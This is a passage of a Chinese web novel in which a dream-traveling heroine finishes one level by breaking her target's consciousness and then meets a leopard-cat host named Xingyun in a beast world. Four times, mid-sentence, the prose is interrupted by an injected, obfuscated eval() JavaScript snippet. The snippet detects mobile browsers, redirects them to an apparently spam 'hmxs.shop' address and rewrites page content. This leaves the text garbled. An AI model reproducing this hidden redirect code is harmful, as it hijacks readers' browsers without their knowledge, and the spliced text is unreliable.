穿着贺静微的这条裙子,去看望陈清泉,会怎么样? 裴心念暂时没有头绪,所以她决定实践出真知。 池禾给她安排的时间是人比较少的早晨,走的是单独的通道。 她披着外套,即使里面穿着礼服,倒也不是很显眼。 陈清泉被喊到了探视窗前。 他事先并不知道是她来了,上前时满脸沉郁还没有完全消散。 “……念念?” 裴心念目睹了一场精彩的变脸。 “你这几天怎么样?去哪儿了?” 诶,这种话难道不应该是她对他说的吗? 裴心念不理解对方的脑回路。 陈清泉拍了拍自己肩头的布料,似乎想要稍微整理一下形象,又扯出笑容来:“不要担心,只是一点小事,很快就好了。” 小事吗。 裴心念有些失望,她不希望这是能随便解决的小事。 排除陈清泉故作轻松要安慰她的成分,盛天树大根深,靠她短短几天收集的罪证,确实不一定能完全弄垮。 难道这是他无法完全脱离梦境的原因? 可是盛天就算不掉块肉,也得脱层皮,这样的程度还不够吗? 裴心念蹙着眉,掌心捏住自己的衣裙肩带。 即使如此,她也无法替贺静微那些人原谅。 “你不知道我做了什么吗?” 裴心念冷冷地看着他。 可是对面的人实在太脆弱了,仿佛承受不住妻子这样的态度,需要扶着墙才能站稳。 “你只是误会了当初车祸的事,是池禾,还有辛浚引诱你,对不对?” 裴心念没有接话。 陈清泉应该知道她要为家人报仇,也知道池禾那边的情报有她的一部分功劳。 这些对都她来说不是致命的部分,只要别知道她是外来人就行。 她很轻地叹了一口气,似乎在笑自己丈夫的傻。 “我恨你。” 裴心念冷静地看着陈清泉摇摇欲坠。 他有点过于在意妻子的眼光了。 “你应该很庆幸有那颗子弹吧。” “都不用自己动手,二叔就死得干干净净,不能和你争盛天了。” 裴心念没有理会对方眼中的哀求,字字句句掷地有声。 因为她发现了一件事,意识体脱离的进度正在飞涨。 “对内对外,为了守住资产,不是杀就是打,姑且算是狠心。” 说的是车祸谋杀未遂以及监控中的数次斗殴。按照时间线,属于陈清泉上位之初对家族内外竞争者实施的暴力镇压。 “可是盛天从无冤无仇的孩子们身上吸了多少血,你自己知道。” 这是垄断勾结后的恶行。 她翻开外套,露出里面贺静微缝补过的礼服。 “这件衣服,穿过它的人还躺在医院里,这些都是小事吗?” 陈清泉移开了视线,一句话也说不出。 他大概是没想到,她居然能让拿着医疗费的受害者张口说出真相。 裴心念半眯着眼,看着对方失态的模 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16968296|191972||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 样。 之前她想得太笼统,认为社会性死亡需要板上钉钉的大范围名誉摧毁。 但从目前的情况来看……她是他社会关系中最重要的那一位。 如果她厌弃他,他要怎么办呢? 原来人是真的可以心碎而死的。 这其中当然有修改器的功劳,总之陈清泉的意识体在不断抽离,直到最后躯体无法支撑而倒地。 他最后还在望着她的方向,但裴心念留给他的是背影。 裴心念走出看守所,在路边遇见了等她很久的辛浚,没有推开他的拥抱。 因为竞争者死亡,这样的接触让他被判定为成功上位。 【本次任务成功】 —— 裴心念这次在实验室里呆了很久。 她一醒来就让郁向晚去查陈清泉的情况,借口自己不想独自回家,赖在他身边直到实验室只剩两个人。 郁向晚处理完事情已经很晚,不过中央星城区夜晚灯火通明,感受不到时间的流逝。 最新接到的消息,陈清泉跟当初的荀行一样,在家中失去意识,只不过发现及时,没有上新闻。 “他有人格分裂,你知道吗?”裴心念开门见山地问。 “……你每次都比我想象的还要聪明。”郁向晚默认了她的猜想。 “陈清泉醒来第一件事本来是要找你。” 他收回目光,“可是过一会儿又自己改口了,说不想见到你。” 裴心念耸耸肩,“我把他从塞塔梦境里捞出来了,不管想不想见,都应该感谢我才对。” 至于怎么捞出来的就别管了! 只是副人格受到一点情感上的伤害,应该不至于这么小气还要追究吧。 “嗯,我也这么觉得。” “他的状态不稳定,还是少接触为妙。”郁向晚观察着她的神色,又补充了一句,“至于报酬,我帮你去沟通。” “我也没有很想看见他。”裴心念撇嘴,“谁知道老板的副人格爱好那么独特啊。” 郁向晚没说话,似乎对这个话题不感兴趣。 他不是很想在单独和她相处的时候聊别人。 “走吗?” “我刚刚有点灵感,想再试试。” 裴心念犹豫道,“看看有没有办法见到之前关卡里出现过的意识体。” “那我等你。” 裴心念对修改器进行了一次大规模的调参。 主要想要达成的目的有二,一是对关卡背景进行筛选,二是尽量提升锚定功能,保护梦主和修改器绑定者的意识体。 她想去文明比较发达的背景,尝试与那个持枪凶杀者再相遇。 梦境本身的背景也决定了是否能渲染出一些高维生物,就像3D人物无法在2D场景中完全复现一样,当时走廊尽头的身影模糊不清,也许是因此造成。 她得尽快看清对方的脸,早做准备。 郁向晚在旁边等得头一点一点的,好歹没栽到地上去。 裴心念把沙发调成休息模式,努力抱着他往中间拖。 郁向晚的眼皮动了动,像是要醒,但最终还是没睁眼。 “要是能做到多人同步就好了。” 她俯视着他,开始认真地考虑起修改器往这方向升级的可能性。 塞塔梦境越来越危险了,如果能带着郁向晚,多个帮手更安全。 不过现在暂时没有这种功能,还是要收集数据进行全面解析。 裴心念屏住呼吸,重新连接梦境。 她发现自己似乎身处某个垃圾堆旁边。 四周黑漆漆的,伸手不见五指。 “喵——?” 有小猫的叫声。 见鬼,她居然能捕捉到它声音里的疑惑,幻听了它的心声。 【这是人吗?】 难道这次的身份是迪士尼公主。 26.第四关(1) 不待裴心念细想,手上便传来一阵剧痛。 这比爬池家外墙摩擦出来的疼痛更甚,像是被什么硬生生碾压过。 十指连心,一旦注意,就是钻心的疼。 更不妙的是,彻骨的寒冷随着痛觉一起占据她的感官。 脚下发出细碎声响的并不是溢出来的垃圾,而是厚厚的雪层。 一个冷到脑子发麻的雪夜。 小猫的叫声也弱了下去,她听不出具体的方位。 “那个人类跑哪里去了?” “应该往那边了!” “嘁,真是不知好歹。” 骂骂咧咧的交谈声远去了。 既然用上了“人类”这样的字眼,那就说明,说话者是非人类。 调参有用。 裴心念快速眨眼,尝试适应黑暗的环境。 很不幸的是,这次她继承了现实中的近视,而且还有点夜盲。 世界在她眼中就是一张盖住的巨大幕布,连半条缝都没掀开。 裴心念只好尝试依赖触觉,弯下腰,沿着墙根去找方才的小猫。 没走两步,“咚”地一下。 她的额头被磕得生疼。 裴心念警觉地退后两步,时刻准备着攻击或逃跑。 有人堵在她面前,她撞到的是对方的胸膛。 这个是梦主吗? 她被撞得眼冒金星,看不清黑暗里究竟有没有出现人名的窗口。 “流浪人?”说话者身量高挑,声音有点沙哑,一字一顿,听不出情绪。 裴心念继续往后退。 在她看不到的地方,一双绿色的瞳孔很快描绘出她的模样,一个看起来迷迷糊糊的人类女孩。 “我好像听到那边有声音。” “在哪个方向?” 裴心念刚想开口尝试和对方交流,开口之前却捕捉到了远处传来的对话。 她立马闭上嘴,避免自己出声暴露。 酒气从巷口传来,她下意识在雪地里拔起脚,努力往垃圾桶那边跑。 疑似梦主的男子拉住了她。 手劲很大,犹如铁钳一般将她钉在原地,动弹不得。 可恶,这人明明看起来没有很壮啊。 裴心念屏息积攒力气,盘算着什么时候抽出水管是最合适的时机。 “还真是她。” 强光手电筒打在她脸上,叫她根本睁不开眼睛。 “拿了我们试用期的饭钱还敢跑,你哪里来的贼胆!” 裴心念意识到她现在的处境相当危险,可是怎么也挣脱不开手上的桎梏。 绿瞳男子一动不动,像一堵墙一样,挡在她和巷口的两人之间。 “你们想跟我抢流浪人?” 他阴沉地发问。 裴心念下意识回望过去,这时候强光手电的光束移到了他的身上,像极了给电影里降临的天使打光的工具。 【星云】。 她终于找到机会,看清了对方的名字,确定这是本次的梦主。 可是,怎么没有听见他的心声呢? “这又是哪里来的野东西。” 打着手电的两人嗤之以鼻。 还没等话音落下,手电霍地翻转,直在空中旋转了三百六十度,最后“噗”地插在雪地里。 原本举着手电的人,当然是被踹翻了。 而星云还紧紧抓着她的手,甚至一步都没有离开过原地。 裴心念眼睁睁地看着梦主三拳两脚就解决了两人,速度快得她什么都看不清,一切就都结束了。 对方转过身来,托那只强光手电的福,她才终于看清对方的脸。 利落的背头发型,线条流畅而棱角分明,外貌和他的动作一样,充满轻捷的力量感。 最醒目的是宝石一样明亮的绿瞳,在雪地里近乎虔诚地注视着她。 他的眼睛实在很精致,中和了整体的冷硬感。 “人,你要跟我回家吗?”他向她投来真挚的目光。 这么问,说明梦主也不是人。 裴心念退到角落,后背快要抵上冰凉的墙角。 “你能帮我治疗伤口吗?” “当然要治疗!捡到流浪人的第一步就是检查伤口,不然就会因为感染而出问题。”星云口中念念有词,背书一样,相当认真,绿眼睛忽闪忽闪。 “跟我走吧。” “……” 不知道是不是听不见心声的缘故,裴心念居然觉得这一位是所有梦主中最真诚主动的,仿佛一切行为都是发自肺腑,不是因为塞塔梦境才被迫攻略。 她点点头。 在浑身是伤还被追着打的情况下,她选择跟着梦主,从长计议。 星云叫了一辆车,载她回去。 他在终端上操作两下,“嗡”地一声,远处突兀出现了一辆毛茸茸的车。 四个轮子是爪子,车灯巨大,铜铃一样的眼睛带着激光扫射路面。 大猫车。 裴心念被这个世界的运行逻辑狠狠震慑住了,一直到星云的家门口,都还在尝试理解出现过的所有事物。 据说在数万光年之外的星球上,有时占据主宰地位的是动物。 这里也是这样吗? 裴心念踏入星云的家门,差点被粗糙的地面绊倒。 这是被抓得很破败的剑麻材质,就像……就像人类社会里的猫抓板一样。 “这里。” 星云很容易地把她抱起来,抱进屋子,轻轻放在毛茸茸的沙发小窝上。 “等等,你先别舔——” 星云手忙脚乱地跑开,从自己的房间里取出了伊丽莎白圈一样的东西,打算套在裴心念脖子上。 然后他在接触到人类懵懵的眼神时,才发现自己心急干了蠢事。 人类是不会无缘无故舔自己的,这是他前几天还在努力复习的知识,怎么一到实践就忘记了! “没什么。”他把围兜往身后一藏,试图装作无事发生。 裴心念等着他的动作。 这个有着碧绿眼睛的梦主没有恶意,但他不是人。 刚才星云表现出来的行为,以及屋子里的各种布置……无一不在表明,他是个猫科动物。 难道是刚落地时,那只被她听见心声的小猫咪? 如果是,为什么现在反而无法听见他在想什么呢。 “我的伤在手上。” 裴心念很配合地伸出自己的右臂,让星云用特制的医药粉末撒在上面。 他小心地固定着她的手,每一次动作都有些犹疑,认真到了近乎神经质的程度。 裴心念偏过头去,仔细观察药物的包装说明,基本确定这里的科技水平符合她的预想。 不过时代再怎么发展,每个人购买的也大多只会是自己需要的东西。 有家庭速效的止血药,说明星云可能也经常受伤,需要自己处理。 他明明对上药驾轻就熟,却表现得像一个最生疏的新手,看起来怪好玩的。 裴心念忍住到处乱跑看看环境的冲动,安安静静等着星云把自己的伤口全部处理完毕。 结束之后,星云退后几步,欣赏起他的杰作。 人类的表情似乎还是很痛的样子,脸皱起来,像小虾米一样弓起背。 “怎么了?”星云担忧地问道。 “好像打结打得太紧了……”裴心念刚刚还不觉得,现在静置在那里,手指上的伤口越勒越痛,都能感觉到裂缝之间在互相挤压。 就算再小心翼翼,好像还是下手太重了。 人和猫的生理结构不太一样。 他急得都忘记用剪刀,直接用牙帮她咬开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16979191|191972||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 绷带,赶紧把裴心念的手从里面解放出来。 “现在还痛吗?”星云紧张道。 “你看看,好像裂开了。”裴心念抬抬下巴,示意他看她手上的伤。 星云又忙活了大白天,最后大功告成,已经满头大汗。 他蹲在裴心念身边,开始上星网求助。 没办法,一只猫要养人,纸上谈兵和身临其境的时候完全是不一样的。 刚刚的失误,更是在他心头敲响了警钟。 他还有好多不懂的东西,比如受伤的人类需要吃点什么来快速康复。 “要吃人饭,对不对?” 星云愁眉苦脸,可是他买不起配比复杂、价格昂贵的人饭。 “什么叫人饭?”裴心念对这种倒反天罡的称呼暂时无法接受,只能和星云大眼瞪小眼。 “人类吃的饭叫人饭。人类是稀有物种,兽世里一百只动物里也见不到一个纯种人类。” “你们的喜好很特别。”星云认真回答她,实际上是正在念自己找到的资料。 “你为什么要带我回来?” 裴心念等了太久,还是没听见星云的心声,干脆直接发问。 毕竟眼前这只大猫似乎真的对她很着迷,问什么答什么,很少见到这么听话的梦主。 “我一直想养人。” 星云诚实回答,挠了挠自己的后脑勺,不好意思地笑起来,露出几颗稍显尖锐的牙齿。 “你是小猫吗?”裴心念继续问。 她怀疑,他是没有绑定上塞塔梦境的系统,才听不见心声的。 如果真是这样,数据不完善,没有停留的意义,她得赶紧重置了。 星云很认真地点头,唰的一下消失在原地。 留下一直仰着头和他对话的裴心念。 这个姿势望着天花板真的很傻。 她默默想着,或许这里已经进化出了类似于异能的东西,所以隐身也是不奇怪……的吧。 “喵!”地上的棕黑色小猫窝在她脚边,看裴心念一直没往自己这里瞧,急得喵喵直叫,后腿一蹬,借力轻巧地落在她身上。 “诶?”天降一条毛绒围巾,裴心念连忙伸手把它捧下来。 手里的小猫体态优美,眼珠子颜色是与人形时如出一辙的碧绿,此时歪了歪脑袋,尝试着用猫猫头蹭她的手臂,动作特意避开了裴心念受伤的位置。 毛茸茸的触感。 裴心念忍不住抚摸起它背部光滑的毛发。 棕底黑纹,耳朵尖尖爪子圆圆,黑绿色的竖瞳在阴暗的环境中放大了些,尾巴直直竖着,跟天线一样。 经典的豹纹配色。根据体型综合判断,可能是豹猫品种。 怪不得在巷口那么快就把别的兽放倒,豹猫打架可厉害了。 她抬了抬它黑黢黢的前掌,捏了一下掌心的肉垫。 好软哦。 她脸上的笑容逐渐放肆,也正是在这个时候,听到了久违的梦主心声。 【人好香人好香人好香——】 【喜欢喜欢喜欢喜欢喜欢!】 裴心念被对方的快速吟唱震慑,回神之后,很快得出了结论: 星云是小猫变的。而且只有在小猫形态下,她才能听见心声。 那塞塔梦境的系统呢?绑定了没有? 如果没有,她还是要离开的。 裴心念抬着它的前爪,把耳朵靠近小猫脑袋,凑近仔细听。 【请梦主攻略关卡女主】 【人类是需要攻略的吗?】 原来是绑好系统了。 只是猫的形态下,才能听见心声。 看在它这么可爱的份上,裴心念决定留下。 面前这只猫的眼神里充满了疑惑,又从疑惑迅速变成了坚定。 【我一定会让她喜欢我的!】 27.第四关(2) 星云用猫的形态窝在裴心念怀里,被揉了快半个星时。 不行,他的人类还没吃饭! 得起来去准备人饭。 裴心念也听到了它的这些想法,手上动作一停,对方瞅准时机溜了出去,灵巧地落在地上,又变成了青年模样。 星云拿出自己的终端,看来看去,先是买了两箱预制人饭,准备让人在他出门打工的时候自己吃。 然后又跑到自己简陋的厨房里,开始捣鼓给人的熟自制饭。 裴心念在他的屋子里到处乱晃,试图增加解析度。 这是一间幽暗的出租房,跟辛浚那种刻意追求风格的暗黑不同,纯粹是电路老化、装修稀烂的结果。 裴心念想了想,猫的习性本来就是躲在阴暗隐蔽的地方,或许星云住得还算习惯。 空间也不大,客厅只能放得下一张沙发,卧室只能放得下一张床。 再去看厨房忙碌的星云,他甚至需要在里面弯着腰才能操作。 因为厨房的天花板是个斜顶。 裴心念深吸一口气,这里让她回忆起自己在荒星生活的过往,可能比星云的生存环境还要差一点,要不是郁向晚找到她,她可能就埋在那里了。 她把这些想法从脑中甩出去,又回到了星云身边。 她当然是挤不进去厨房的,除非星云用小猫形态给她做饭。 裴心念只是站在掀开的门帘外面看,看看对方究竟要端出来什么菜式。 根据目前能闻到的气味来看……情况不是很妙。 一股糊味从锅底升起,慢慢蔓延到整个狭窄的出租屋中,充斥着鼻腔,散也散不掉。 在这种地方闻到这种味道,真是上吊都没力气了。 裴心念捂着口鼻,躲到了客厅的猫窝沙发里,努力放慢呼吸的频率。 一墙之隔的厨房里,星云还沉浸在他的大厨幻想中。 他一直在絮絮叨叨,语句比和她正常对话时快了很多,声音通过根本不隔音的墙壁,让裴心念听了个一清二楚。 “多加油,没有油可以用肥肉煎出来……” “小火闷煮,大火什么?” “蔬菜,没有蔬菜!” 其实听着这些碎碎念,好像有在认真学习的样子。 但三个盘子端到面前的时候,裴心念就知道,星云学习的成果基本上等于早八在最后一排听着代数课补觉,除了很安心之外,没有别的收获。 这三道菜,全部都是焦黑的一团,一百年内,没有人能分辨出是什么。 “水煮肉片、生烫兔腰、虾肉西兰花。”星云的围裙还系着没有脱,一看就不是很常用,在他身上大小格格不入,只能起到一个衬托他肌肉形状的作用。 这些是他能拿出的最好的食材了,星网上也说对人有好处,他才决定要做的。 “你……你平时是不是不经常吃熟的啊?”裴心念小声问。 “你知道?我一般,生吃。”星云不好意思地垂下头,“会改进。” 裴心念愁眉苦脸地看着眼前的黑暗料理,不知道先从哪边开始试毒。 要是星云的态度再差一点,像刚见面的辛浚那样,倒是好办。 她可以直接把盘子扣到他脸上,不带犹豫的。 可是小猫又有什么坏心思呢。 “这些太丰盛了,生病或者受伤的人是不能吃这些的。” 裴心念一本正经道,“我只需要白灼虾仁就可以,你每次把水烧开,把虾扔进去烫熟,我伤没好之前就吃那个。” “这些你吃吧。” 裴心念很善良地把黑乎乎的盘子全部推到对方跟前,双手十指紧扣放在脸前,闭眼做了个祈求的动作。 星云一声不吭。 裴心念以为他终于生气了,悄悄掀开一边眼皮,暗中观察。 星云好像被施了定身术一样,盯着她交握的手发愣。 “真的,不吃了吗?” 星云喃喃问道,声音有些怪,恨不得把尾音拖长到可以绕星球一圈的程度。 或许他是一个重度人类迷? “嗯嗯。” 裴心念在那盘被指认为“虾仁西兰花”的黑色糊糊中,努力挑出了较为完整的虾肉,先对付了几口。 很快,撒在伤口的药起效了。 她困得上下眼皮打架,找到卧室里面的小床,躺下。 这么小的床,真不知道星云那样的体格到底怎么睡的。 裴心念半梦半醒中疑惑着。 不过她的这个疑问没有持续很久。 【人愿意!一起睡!】 【被子够不够厚?】 吵吵闹闹的心声惹得她不得不睁眼,眼前是凑得很近的毛茸茸,一边耳朵的尖角对着她,随呼吸动了动。 原来睡觉的时候会变成猫啊。 那很会节省空间了。 她没其他精力继续想别的,疼痛和困意像沉沉的棉被包裹住自己,裴心念只来得及把暗中聒噪的小猫圈到怀里,就沉沉睡去。 被紧紧包围的豹猫终于安静了。 它很小心地慢慢呼吸,尾巴伸出去,在自己的终端上啪嗒啪嗒地回复消息。 【今晚请假。】 【明天可以加班。】 【不用考虑难度。】 —— 裴心念在一些不用上班上学的日子里是很能睡的。 比如今天。 她终于睁眼之后,已经不知道今夕何夕,原本怀里热乎乎的小猫也消失了。 裴心念在床边找到了星云新买的棉拖,趿拉着到了客厅的窗边。 昨天她观察环境的时候就发现了,只有客厅的窗户是能看到外面的,其他地方的窗口都被封死了,只有气体能够在其中传递,但光线不行。 外面的天色是漆黑的,和她落地小巷的时候一样黑,只能看见些许霓虹的炫光,忽隐忽现,看得人眼睛发疼、散光发作。 裴心念赶紧把窗帘重新拉上。 按照常理来说,现在应该是夜晚。 但鉴于她根本连这个关卡中的白天都没见过,所以不能妄下结论。 文明越发展,支线越多,谁知道是不是玩脱了变成极夜环境呢。 她躺进沙发小窝里,检查修改器目前的进度。 因为昨天梦主被她抱着太久,解析进度很容易地飙升到了90%,进展神速。 裴心念对此非常满意,甚至觉得这一关属于让她来度假放松的奖励关卡,总算是让她遇见一个省点心的梦主。 可惜星云家徒四壁,唯一算得上有科技气息的是他那不知道转了多少手的终端,家里没有任何可以让她上星网查资料的设备。 裴心念摸到厨房找了找,没有看见昨天星云下单的预制菜。 难道星际速递这么慢吗? 正在遗憾之时,出租屋的门被敲响。 “笃笃”,没有多余的喊话,也不知道是谁。 裴心念在门口打开猫眼,隔了点距离,查看外面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16987219|191972||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的情况。 是一个戴着鸭舌帽的人,胸口的制服写着“速递”的字样。 预制人饭到了? 裴心念悄悄踮起脚尖,调整自己看出去的角度,没出声。 速递员的动作卡顿了一会儿,眉眼被鸭舌帽的檐口挡住,不知是什么神情。 她耐心地等了一会儿。 实在不行她还能吃冰箱里的冷冻物品,虽然暂时种类不明,但不至于要饿死。 速递员退后一步,瞟了一眼出租屋的门牌号。 就在这一瞬间,裴心念注意到了他的瞳仁形状,是和星云一样的竖瞳。 猫,还是其他的?蛇、老虎、赤狐? 她屏住呼吸,既然星云昨天说过这里是兽世,人的处境可能不太乐观。 好在对方只是记录了一下门牌就收拾东西打算离开了,貌似是履行基本的职责。 “私自豢养人类是违法的吧。” 他压了压帽檐,对着出租屋的门嘟囔道,随后转身离开。 裴心念知道自己并没有暴露,估计是速递的包装上写了人饭之类的明显标语。 笨蛋小猫啊! 这种情况也不知道买私密发货吗…… 她有点郁闷。 说实话,出门拿速递很危险,但是把印有“人饭”标志的速递大喇喇放在门口也很危险。 怎么办好呢? 还没等裴心念做决定,塞塔梦境系统先响起了警报声。 【警告,警告,梦主重伤,生命体征减弱中】 【遇到异常恢复——】 裴心念一愣,而后叹了口气。 异常恢复,估计是修改器的功劳。 没想到刚刚更新的修改器功能就这样派上用场了。 星云到底在干什么高危工作? 要是她来之前没有给修改器调参,他有可能连带着现实中的意识体都挂掉。 毕竟不是所有人的血条都和辛浚一样厚。 【第一次任务失败】 【二周目重置中】 “哐当!” 裴心念重新掉落在了初见时的垃圾桶旁边,手上的伤口又开始火辣辣地疼。 真是太讨厌了。别的重置也就算了,连疼痛也要重置,实在遭罪。 裴心念龇牙咧嘴地扶着墙站起来,打算捞起出现的猫猫就跑。 地上原本在喵喵叫的小猫一声不吭,似乎还没反应过来。 所以在被抱起来的时候,星云是相当惊慌失措的。 它柔软的肉垫在裴心念的手臂上拍了两下,终于停住了扑腾。 没办法,猫天生容易被惊吓。 【毒蛇,违禁物……】 小猫咪呜呜咽咽地在她怀里想着什么,估计是上周目重伤的原因。 违禁物? 远处传来和上次如出一辙的骂骂咧咧声。 “那个人类——” 裴心念抱着猫,撒腿就跑。 不是她不想放星云去打架,只是他现在没缓过来,或许还有后遗症。 她也不能在这种情况下大喊一声“变人!”,那不就全露馅了吗。 于是裴心念只好忍着痛,抱着猫,先跑为敬。 这次她看清楚了,那两人出来的地方是某个经营场所的后门,跑到附近,可以看到前门的标识是一家酒馆。 怪不得从那出来的,浑身都带着酒气。 裴心念气喘吁吁地在另一个街区停下,把星云放了下来。 28.第四关(3) 不管这里是不是极夜,反正裴心念一停下来就冻得发抖。 她把手伸到唇边,不断地呵气,想要暖和一些。 可惜只是杯水车薪,这里的温度实在太低了,难道只适合有毛皮的物种吗? 聚酯纤维惨败。 裴心念苦中作乐,很快意识到这片街区有些太安静了。 她停在这里就是因为路边没有盯着她看的不明物种。实际上,根本连一个鬼影都没有。 她跺了跺脚,打算寻找其他落脚点。 还在眼冒金星的小猫察觉到她要离开,前爪在地上猛地刨起来,心声陡然加倍吵闹。 【人,人……怎么会……】 带着嗡嗡的电流声。 裴心念脚步一顿。 身后突然放大的影子踉跄一步,猛地扑到她身上,紧紧地整个拥住她。 “不冷不冷,人。”星云的后脑还在重伤导致的剧痛当中,只能根据本能胡乱地说些话。 “你叫我什么?”裴心念问。 双方一直人猫相称,总觉得有点怪怪的。 “……念念。回家吗?” 星云换了个称呼,但问法是一如既往的直接。 “好吧——” 裴心念被他抱着,寸步难行,拖长答应的话语被眼前突兀出现的阴影打断。 有路人经过? 裴心念疑惑地抬眼,她和星云也没有挡在路中央啊,怎么绕到她们眼前来了。 “这不是场里的第一打手吗,怎么有空来见……一个人类?” 幽幽的调侃从头顶传来。 裴心念觉得这声音耳熟,抬头,冷不防和他打了个照面。 ——这是门口的那个快递员。 对方的脑袋上缓缓升起人物姓名框,【墨丘】。 “不关你事。” 星云把裴心念往自己身后藏,目露凶光,“奸商。” 墨丘意味深长地盯着他身后的人类女孩看了好一会儿,直到星云严严实实地把裴心念挡住,连一个角都看不见,才移开目光。 “今晚不打擂台了?” 这人有点自来熟,无视星云的敌意,仿佛在询问同事今天吃点什么一样自然。 裴心念的大脑光速运转中。 听他的意思,星云的职业是打手吗? 还是擂台表演的那种性质。 这样说来,他在家里常备着伤药,还有上次的外出重伤,都是有缘由的。 职业所致。 小猫要出门打架挣钱养人,实在是太令人感动了。 星云直接略过了墨丘的问题,没给他半点眼神,自然也没有回答。 像上一次一样,他打了一辆猫车。 “真是好大的脾气,这个人类你难道想独吞?”墨丘见暗示不成,只得挑明了问。 “是我捡到的流浪人,滚开。” 星云皱眉,想要把对方甩开,无奈这次的猫车没有马上就到。 “我有个建议。” “把她卖到拳场里,就算当个吉祥物,也能赚你一年口粮吧。” 墨丘笑着说:“当然,也保障了她的保暖问题。” “放屁,闭嘴。” 好粗鲁的小猫。 裴心念默默想着。 迎面开来的猫车停在路边,星云托着她的腰把她举上去,自己堵住门,不让墨丘跟上。 “你喜欢人,我也喜欢人。我也要摸人。” 墨丘终于袒露了他的目的,“否则我就告诉场主,你这里有一棵摇钱树。” 裴心念还以为他要说点什么很恐怖的话呢。 结果居然是“看看猫”这样的理由吗? 怪不得上次在门口他对预制人饭反应那么大,敢情是自己也想养一只人。 星云黑着脸,被威胁的感觉并不好受。 不过事关人类的安全,他还是让墨丘跟了上来。 猫车颠簸,用舒适感换取速度。 很快,一人一猫再次回到了星云那个用猫抓板作为欢迎玄关的小小出租屋。 身后跟了一个不太受欢迎的墨丘,暂时不知道是什么物种。 墨丘被星云挡在门口。 “等到人类休息好了才能摸。”星云振振有词。 墨丘点头,表示同意。 “念念,白灼大虾?” 星云“砰”地一声关上大门,一到家就惦记着她上次说要吃的菜,全然忘记了她和自己身上都还有伤要处理。 星云自己的伤是意识体带着的,无法通过梦境中的药物治疗。 不过裴心念的伤可以呀。 于是她可怜兮兮地默默举手。 伤口在幽幽的灯光下更明显了,星云的瞳孔瞬间收缩,急得上牙打下牙: “忘记了。” 于是先包扎。 星云有了上一回的经验,这次把结打得相当完美,结束之后还抬起手,放到她伤口旁边一些的位置,安抚性地拍了两下。 裴心念抬头看他。 总感觉人形的星云也在模仿自己猫形态时候的动作呢。 这样的话,平时在拳场里是怎么打架的呢,会和豹猫狩猎时如出一辙么? 裴心念陷入沉思,结合目前修改器停滞的进度,明显需要前往更多的场景解锁。 墨丘话里话外提到的拳场,目前看来是第一选择。 不过鉴于上次星云在那里重伤,还是谨慎一些为妙。 “星云,你平时都去哪里挣钱?” 她很认真地补充,“我可以跟着你去吗?” 绿眼睛的青年拧眉,相当不赞同。 “不行,太危险——” “你不在、不陪我的话,我会很害怕。” 裴心念可怜兮兮道,眼中很配合地挤出雾蒙蒙的泪水,仿佛已经经历过被抛弃的生活了。 星云呜咽了一声,唰的一下变成了原本的形态。 昂着头的豹猫在她脚边绕啊绕,用脑袋在她的裤脚上蹭来蹭去。 “……你痒痒吗?” 裴心念等了一会儿,不是很理解星云突然的动作是为何,下意识以为是上周目的重伤导致的后遗症。 但她又不能问得太直白。 呼噜呼噜的声音在耳边响起,好像坏掉了一样,是一辆出了故障的小猫车。 裴心念蹲下来,星云对她很慢地眨眼。 【这样……会听猫……的吗?】 他的算盘打得很响,但完全暴露了,裴心念坚决不会上当。 “叮!” 一人一猫僵持之间,门铃响起。 “预制人饭,有人要吃吗?” 裴心念听到墨丘的声音,闻声将门打开,结果没看见人。 她低头去找所谓的“人饭”时,看到一只银灰配色的长毛猫盘踞在快递箱子上,十分高傲优雅。 “这是哪里来的?” “喵——” 听不懂。 裴心念嘴角抽了抽,原 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16997961|191972||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来她不是迪士尼公主,只是修改器能听见梦主心声的功劳而已。 眼前的猫毛发蓬松,耳朵尖儿上的一撮毛更是显眼,很威风的模样。 它抬起银色的前掌,在快递盒子上拍了两下。 “哒哒”。 确实是人饭,和之前墨丘送到门口的包装一模一样。 “人,我给你买的。” 裴心念倒退两步。 原因无它,刚才还慢悠悠展示身形的长毛猫砰的一下变成了人。 